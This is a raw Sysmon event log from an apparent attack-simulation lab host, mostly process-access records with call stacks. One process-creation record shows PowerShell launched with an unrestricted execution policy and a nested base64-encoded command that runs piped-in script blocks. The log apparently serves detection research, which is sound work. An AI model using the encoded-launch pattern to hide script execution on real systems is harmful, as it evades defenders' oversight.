09:10:24.007{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002944Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002943Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002942Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002941Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002940Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002939Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002938Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002937Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002936Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002935Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002934Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.991{A5F018FF-28FF-5F80-8F00-000000007F01}49764876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+6654ffcb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f0e55|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f0b26|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+664a218b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659b16bc|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+65a0fb8b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f31f0|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f31f0|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f3081|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659e5006|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f1539|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f112c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f0e55|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659f0b26|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+664a218b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659d7987|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+659d6f57 154100x80000000000000002933Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.006{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28FF-5F80-8F00-000000007F01}4976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2901-5F80-9800-000000007F01}2336C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.913{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 